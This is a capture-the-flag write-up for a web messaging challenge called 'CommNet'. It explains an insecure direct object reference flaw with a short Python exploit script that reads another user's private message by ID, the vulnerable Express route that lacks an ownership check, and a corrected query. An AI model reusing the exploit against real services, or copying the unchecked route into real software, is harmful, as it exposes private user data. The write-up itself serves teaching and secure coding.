Challenge Overview

This challenge presents a web-based messaging application called “CommNet” that allows users to communicate with each other through a secure messaging system. The application features user registration and authentication, private messaging between users, broadcast messaging capabilities, and a dashboard interface. The goal is to identify and exploit an Insecure Direct Object Reference (IDOR) vulnerability to gain unauthorized access to private messages belonging to other users.

Exploit Analysis

First, let’s examine the provided exploit that demonstrates the vulnerability:

from requests import post, get
import random
import string
import re

BASE_URL = "http://localhost:1337/challenge"


def random_string(length=6):
    return "".join(random.choices(string.ascii_lowercase, k=length))


def register_user(username, password):

    url = f"{BASE_URL}/api/auth/register"
    data = {
        "username": username,
        "email": f"{username}@test.com",
        "password": password,
        "enclave": "West Enclave"
    }

    response = post(url, json=data, allow_redirects=False)
    return response

def login_user(username, password):

    url = f"{BASE_URL}/api/auth/login"
    data = {
        "username": username,
        "password": password
    }

    response = post(url, json=data, allow_redirects=False)
    return response


def get_messages(cookie, id):
    url = f"{BASE_URL}/api/messages/{id}"
    response = get(url, cookies=cookie)
    return response


if __name__ == "__main__":
    username, password = random_string(8), random_string(8)

    register_user(username, password)
    cookies = login_user(username, password).cookies

    # flag sample is on messageId 3
    response = get_messages(cookies, 3)

    match = re.search(r'HTB\{.*?\}', response.text)
    if match:
        print("Exploit success. Got the flag!")
        print(match.group())
    else:
        print("Exploit failed. No flag found.")    

The exploit follows a simple pattern:

  1. User Registration: Creates a random user account
  2. Authentication: Logs in to get session cookies
  3. IDOR Attack: Directly accesses message ID 3 via GET /api/messages/3
  4. Flag Extraction: Searches for the flag pattern in the response

The key insight is that any authenticated user can access any message by its ID, regardless of whether they’re the sender or recipient.

Vulnerability Analysis

Affected Endpoint

The vulnerability lies in the messages endpoint:

GET /challenge/api/messages/:id

Code Analysis

Let’s examine the vulnerable backend code:

// routes/messages.js

router.get('/:id', requireAuth, (req, res) => {
  const messageId = req.params.id;
  
  req.db.get(`
    SELECT m.*, 
           sender.username as sender_username, 
           sender.enclave as sender_enclave,
           recipient.username as recipient_username,
           recipient.enclave as recipient_enclave
    FROM messages m
    LEFT JOIN users sender ON m.sender_id = sender.id
    LEFT JOIN users recipient ON m.recipient_id = recipient.id
    WHERE m.id = ?
  `, [messageId], (err, message) => {
    if (err || !message) {
      return res.status(404).json({ success: false, error: 'Message not found' });
    }
    
    res.json({ success: true, message: message });
  });
});

The SQL query only verifies the message exists (WHERE m.id = ?) but doesn’t validate if the current user is the sender or recipient.

Database Structure Analysis

Messages Table Schema

CREATE TABLE IF NOT EXISTS messages (
      id INTEGER PRIMARY KEY AUTOINCREMENT,
      sender_id INTEGER NOT NULL,
      recipient_id INTEGER,
      subject TEXT NOT NULL,
      content TEXT NOT NULL,
      message_type TEXT DEFAULT 'personal',
      priority TEXT DEFAULT 'normal',
      created_at DATETIME DEFAULT CURRENT_TIMESTAMP,
      FOREIGN KEY (sender_id) REFERENCES users (id) ON DELETE CASCADE,
      FOREIGN KEY (recipient_id) REFERENCES users (id) ON DELETE SET NULL
    )

Sample Data

From the database initialization, we can see:

const SAMPLE_MESSAGES = [
  [1, 2, 'Emergency Supply Request', 'North Enclave urgently needs medical supplies. Zombie activity increasing.', 'emergency', 'high'],
  [2, 1, 'Supply Status Update', 'Medical supplies dispatched via drone. ETA 2 hours. Stay safe.', 'official', 'high'],
  [3, 4, 'Safe Zone Coordinates', 'New safe zone established at coordinates 45.2N, 122.7W. Verified clear. HTB{fake_flag_for_testing}', 'tactical', 'normal'],

[SNIP]

Message ID 3 contains the flag and is a private communication between users 3 and 4, but any authenticated user can access it.

Vulnerability Fix

Secure Implementation

The fix requires adding proper authorization checks:

// routes/messages.js - Fixed

router.get('/:id', requireAuth, (req, res) => {
  const messageId = req.params.id;
  const userId = req.session.userId;
  
  req.db.get(`
    SELECT m.*, 
           sender.username as sender_username, 
           sender.enclave as sender_enclave,
           recipient.username as recipient_username,
           recipient.enclave as recipient_enclave
    FROM messages m
    LEFT JOIN users sender ON m.sender_id = sender.id
    LEFT JOIN users recipient ON m.recipient_id = recipient.id
    WHERE m.id = ? 
      AND (m.sender_id = ? OR m.recipient_id = ? OR m.recipient_id IS NULL)
  `, [messageId, userId, userId], (err, message) => {
    if (err || !message) {
      return res.status(404).json({ success: false, error: 'Message not found' });
    }
    
    res.json({ success: true, message: message });
  });
});

The additional WHERE clause ensures users can only access messages where they are:

  1. The sender: m.sender_id = userId
  2. The recipient: m.recipient_id = userId
  3. Public broadcasts: m.recipient_id IS NULL

After fixing the code, we can click ‘Restart’ and verify that the vulnerability is no longer present.

commnet1

commnet2


written by 0xbara